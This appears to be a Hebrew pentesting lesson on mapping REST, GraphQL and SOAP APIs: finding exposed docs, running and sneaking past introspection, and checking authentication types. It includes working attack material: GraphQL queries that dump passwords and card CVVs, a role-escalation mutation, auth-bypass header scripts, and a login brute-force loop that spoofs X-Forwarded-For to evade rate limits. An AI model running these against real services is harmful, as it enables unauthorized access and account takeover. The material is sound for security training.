חקירת API ומיפוי¶
מבוא¶
ממשקי API הפכו לחלק מרכזי באפליקציות ווב מודרניות. בעוד אפליקציות מסורתיות מציגות טפסים ועמודים, אפליקציות מודרניות מבוססות על API שמספק נתונים לצד הלקוח. חקירת API היא תהליך שמטרתו למפות את כל נקודות הקצה, להבין את מבנה הנתונים, ולזהות הזדמנויות לניצול.
בשיעור זה נלמד טכניקות מתקדמות לחקירת REST API, GraphQL, ושירותי SOAP - כולל גילוי תיעוד נסתר, שאילתות אינטרוספקציה, וניתוח אפליקציות מובייל.
גילוי תיעוד API¶
Swagger / OpenAPI¶
הSwagger (כיום OpenAPI) הוא התקן הנפוץ ביותר לתיעוד API. קובץ התיעוד מכיל את כל נקודות הקצה, הפרמטרים, ומבני הנתונים.
# נתיבים נפוצים לקובצי Swagger/OpenAPI:
/swagger.json
/swagger.yaml
/swagger/
/swagger-ui/
/swagger-ui.html
/swagger/v1/swagger.json
/api-docs
/api-docs.json
/api/swagger.json
/api/swagger
/openapi.json
/openapi.yaml
/openapi/
/v1/api-docs
/v2/api-docs
/v3/api-docs
/api/v1/swagger.json
/api/v2/swagger.json
/docs
/docs/api
/redoc
/.well-known/openapi.json
# סריקה אוטומטית
ffuf -u "https://target.com/FUZZ" -w swagger_paths.txt -mc 200
# שמירת קובץ swagger לניתוח
curl -s "https://target.com/swagger.json" | jq > swagger_formatted.json
# חילוץ כל נקודות הקצה
cat swagger_formatted.json | jq -r '.paths | keys[]'
# חילוץ נקודות קצה עם שיטות HTTP
cat swagger_formatted.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"'
# swagger_parser.py - ניתוח קובץ Swagger וחילוץ מידע
import json
import sys
def parse_swagger(filename):
with open(filename) as f:
spec = json.load(f)
print(f"[+] API Title: {spec.get('info', {}).get('title', 'N/A')}")
print(f"[+] Version: {spec.get('info', {}).get('version', 'N/A')}")
print(f"[+] Base URL: {spec.get('basePath', spec.get('servers', [{}])[0].get('url', 'N/A'))}")
print()
paths = spec.get("paths", {})
print(f"[+] Found {len(paths)} endpoints:")
print("-" * 60)
for path, methods in sorted(paths.items()):
for method, details in methods.items():
if method in ["get", "post", "put", "delete", "patch"]:
auth = "AUTH" if details.get("security") else "NO-AUTH"
summary = details.get("summary", "No description")
params = details.get("parameters", [])
print(f" [{method.upper():6}] {path:40} [{auth}] {summary}")
for param in params:
print(f" Param: {param.get('name')} ({param.get('in')}) "
f"{'*required' if param.get('required') else 'optional'}")
if __name__ == "__main__":
parse_swagger(sys.argv[1])
גילוי תיעוד Postman¶
# חיפוש Postman Collections חשופות
# לעיתים מפתחים משתפים collections באופן ציבורי
# חיפוש ב-Google:
# site:documenter.getpostman.com "target.com"
# site:www.postman.com/collections "target"
# נתיבים נפוצים באתר היעד:
/postman
/postman-collection.json
/api/postman
/.postman
/docs/postman
חקירת GraphQL¶
מה זה GraphQL¶
הGraphQL היא שפת שאילתות ל-API שמאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. בניגוד ל-REST, בו כל נקודת קצה מחזירה מבנה קבוע, ב-GraphQL הלקוח מגדיר את מבנה התגובה.
זיהוי GraphQL¶
# נתיבים נפוצים של GraphQL:
/graphql
/graphiql
/graphql/console
/graphql/playground
/api/graphql
/v1/graphql
/gql
/query
# בדיקה עם שאילתה פשוטה
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __typename }"}'
# אם התגובה מכילה {"data":{"__typename":"Query"}} - זה GraphQL
שאילתת אינטרוספקציה - Introspection Query¶
שאילתת אינטרוספקציה חושפת את כל הסכמה של ה-API - טיפוסים, שדות, שאילתות, ומוטציות.
# שאילתת אינטרוספקציה מלאה
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
# graphql_introspection.py - שאילתת אינטרוספקציה מלאה
import requests
import json
import sys
INTROSPECTION_QUERY = """
{
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
kind
}
}
}
}
}
}
"""
def introspect(url):
response = requests.post(
url,
json={"query": INTROSPECTION_QUERY},
headers={"Content-Type": "application/json"},
verify=False
)
if response.status_code != 200:
print(f"[-] Error: {response.status_code}")
return
data = response.json()
if "errors" in data:
print(f"[-] Introspection blocked: {data['errors'][0].get('message', 'Unknown error')}")
return
schema = data.get("data", {}).get("__schema", {})
print(f"[+] Query Type: {schema.get('queryType', {}).get('name', 'N/A')}")
print(f"[+] Mutation Type: {schema.get('mutationType', {}).get('name', 'N/A')}")
print()
types = schema.get("types", [])
user_types = [t for t in types if not t["name"].startswith("__")]
print(f"[+] Found {len(user_types)} types:")
print("-" * 60)
for t in user_types:
if t.get("fields"):
print(f"\nType: {t['name']} ({t['kind']})")
for field in t["fields"]:
field_type = field["type"].get("name") or \
field["type"].get("ofType", {}).get("name", "Unknown")
args = ", ".join(a["name"] for a in field.get("args", []))
args_str = f"({args})" if args else ""
print(f" - {field['name']}{args_str}: {field_type}")
if __name__ == "__main__":
url = sys.argv[1]
introspect(url)
שאילתות GraphQL נפוצות לתקיפה¶
# שאילתה לקבלת כל המשתמשים
{
users {
id
username
email
role
password
}
}
# מוטציה לשינוי הרשאות
mutation {
updateUser(id: 1, role: "admin") {
id
username
role
}
}
# שאילתה עם Nested Objects - חשיפת מידע מקושר
{
users {
id
username
orders {
id
total
creditCard {
number
cvv
}
}
privateMessages {
content
from {
username
}
}
}
}
# שאילתת batch - עקיפת rate limiting
[
{"query": "{ user(id: 1) { username password } }"},
{"query": "{ user(id: 2) { username password } }"},
{"query": "{ user(id: 3) { username password } }"}
]
עקיפת חסימת אינטרוספקציה¶
# אם אינטרוספקציה חסומה, נסו:
# 1. שימוש ב-__type במקום __schema
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}'
# 2. שליחה כ-GET parameter
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"
# 3. שימוש ב-alias
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ a: __typename }"}'
# 4. שימוש ב-fragments
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "fragment TypeInfo on __Type { name fields { name } } { __schema { types { ...TypeInfo } } }"}'
# 5. ניחוש שמות שדות (field suggestion)
# שליחת שם שדה שגוי - הודעת השגיאה עשויה להציע שמות נכונים
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ usr { id } }"}'
# תגובה: "Did you mean 'user' or 'users'?"
כלי GraphQL¶
# graphw00f - זיהוי מנוע GraphQL
pip install graphw00f
graphw00f -t https://target.com/graphql
# InQL - תוסף Burp Suite לחקירת GraphQL
# מתקינים מ-BApp Store
# מאפשר: אינטרוספקציה, יצירת שאילתות, וסריקת חולשות
# graphql-voyager - ויזואליזציה של סכמה
# https://graphql-kit.com/graphql-voyager/
# הדביקו את תוצאת האינטרוספקציה לקבלת תרשים ויזואלי
חקירת SOAP / WSDL¶
זיהוי שירותי SOAP¶
# נתיבים נפוצים
/ws
/wsdl
/service.asmx
/service.svc
/soap
/api/soap
/*.asmx?wsdl
/*.svc?wsdl
# בדיקה
curl -s "https://target.com/service.asmx?wsdl"
curl -s "https://target.com/service.svc?wsdl"
ניתוח WSDL¶
# הורדת WSDL
curl -s "https://target.com/service.asmx?wsdl" -o service.wsdl
# ניתוח עם Python
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('service.wsdl')
root = tree.getroot()
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
for op in root.findall('.//wsdl:operation', ns):
print(f'Operation: {op.get(\"name\")}')
"
בדיקת אותנטיקציה של API¶
סוגי אותנטיקציה נפוצים¶
# 1. API Key בכותרת
curl -s "https://target.com/api/data" -H "X-API-Key: test123"
curl -s "https://target.com/api/data" -H "Api-Key: test123"
# 2. Bearer Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer eyJ..."
# 3. Basic Authentication
curl -s "https://target.com/api/data" -u "admin:password"
# שקול ל:
curl -s "https://target.com/api/data" -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="
# 4. API Key בפרמטר URL
curl -s "https://target.com/api/data?api_key=test123"
# 5. HMAC Signature
# בקשה חתומה עם מפתח סודי
# בדרך כלל כוללת: timestamp, nonce, signature
# 6. OAuth 2.0 Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer ACCESS_TOKEN"
בדיקת עקיפת אותנטיקציה¶
# api_auth_bypass.py - בדיקת עקיפת אותנטיקציה
import requests
target = "https://target.com/api/admin/users"
tests = [
# ללא אותנטיקציה
{"name": "No auth", "headers": {}},
# כותרות ריקות
{"name": "Empty API key", "headers": {"X-API-Key": ""}},
{"name": "Empty Bearer", "headers": {"Authorization": "Bearer "}},
# ערכים נפוצים
{"name": "API key: null", "headers": {"X-API-Key": "null"}},
{"name": "API key: undefined", "headers": {"X-API-Key": "undefined"}},
{"name": "API key: true", "headers": {"X-API-Key": "true"}},
# שיטות HTTP שונות
{"name": "GET instead of POST", "method": "GET"},
{"name": "PUT instead of POST", "method": "PUT"},
# כותרות מיוחדות
{"name": "X-Forwarded-For", "headers": {"X-Forwarded-For": "127.0.0.1"}},
{"name": "X-Original-URL", "headers": {"X-Original-URL": "/api/admin/users"}},
# Content-Type שונה
{"name": "XML Content-Type", "headers": {"Content-Type": "application/xml"}},
]
for test in tests:
method = test.get("method", "GET")
headers = test.get("headers", {})
resp = requests.request(method, target, headers=headers, verify=False)
status = resp.status_code
length = len(resp.text)
indicator = "!!!" if status == 200 else ""
print(f"[{status}] {test['name']:30} (length: {length}) {indicator}")
בדיקת Rate Limiting ועקיפתו¶
בדיקת קיום Rate Limiting¶
# rate_limit_test.py - בדיקת rate limiting
import requests
import time
url = "https://target.com/api/login"
data = {"username": "admin", "password": "wrong"}
for i in range(100):
resp = requests.post(url, json=data, verify=False)
print(f"Request {i+1}: Status {resp.status_code}, Length {len(resp.text)}")
if resp.status_code == 429:
print(f"[!] Rate limited after {i+1} requests")
print(f" Retry-After: {resp.headers.get('Retry-After', 'N/A')}")
break
טכניקות עקיפת Rate Limiting¶
# 1. שינוי כותרת IP
for ip in 1.1.1.{1..255}; do
curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: $ip" \
-d '{"username":"admin","password":"test'$ip'"}' &
done
# 2. שימוש בנתיבים שונים (path normalization)
/api/login
/api/Login
/api/LOGIN
/api/login/
/api/login/.
/api//login
/%61%70%69/login
# 3. שימוש בפרמטרים נוספים
/api/login?dummy=1
/api/login?x=random_value
/api/login#fragment
# 4. שינוי Content-Type
# application/json
# application/x-www-form-urlencoded
# multipart/form-data
# 5. שימוש ב-HTTP/2 multiplexing
# שליחת מספר בקשות על אותו חיבור TCP
בדיקת סוגי תוכן שונים - Content Type Testing¶
# content_type_test.py - בדיקת תגובות לסוגי תוכן שונים
import requests
import json
url = "https://target.com/api/login"
# נתונים באותו פורמט לוגי, סוגי תוכן שונים
tests = [
{
"name": "JSON",
"headers": {"Content-Type": "application/json"},
"data": json.dumps({"username": "admin", "password": "test"})
},
{
"name": "Form URL-encoded",
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
"data": "username=admin&password=test"
},
{
"name": "XML",
"headers": {"Content-Type": "application/xml"},
"data": "<login><username>admin</username><password>test</password></login>"
},
{
"name": "Multipart",
"headers": {}, # requests sets it automatically
"files": {"username": (None, "admin"), "password": (None, "test")}
},
]
for test in tests:
try:
if "files" in test:
resp = requests.post(url, files=test["files"], verify=False)
else:
resp = requests.post(url, headers=test["headers"],
data=test["data"], verify=False)
print(f"[{resp.status_code}] {test['name']:25} Length: {len(resp.text)}")
if resp.status_code != 404:
print(f" Response: {resp.text[:100]}")
except Exception as e:
print(f"[ERROR] {test['name']}: {e}")
סיכום¶
בשיעור זה למדנו:
- גילוי תיעוד API - מציאת Swagger/OpenAPI, Postman collections
- חקירת GraphQL - אינטרוספקציה, עקיפת חסימות, שאילתות תקיפה
- חקירת SOAP - ניתוח WSDL, זיהוי פעולות
- אותנטיקציה - סוגי אותנטיקציה נפוצים ובדיקת עקיפתם
- עקיפת Rate Limiting - טכניקות לעקיפת הגבלות קצב
- סוגי תוכן - בדיקת התנהגות עם Content-Types שונים
מיפוי API מלא הוא הבסיס לכל בדיקה - ככל שנכיר יותר נקודות קצה ופרמטרים, כך נגדיל את הסיכוי לגלות חולשות.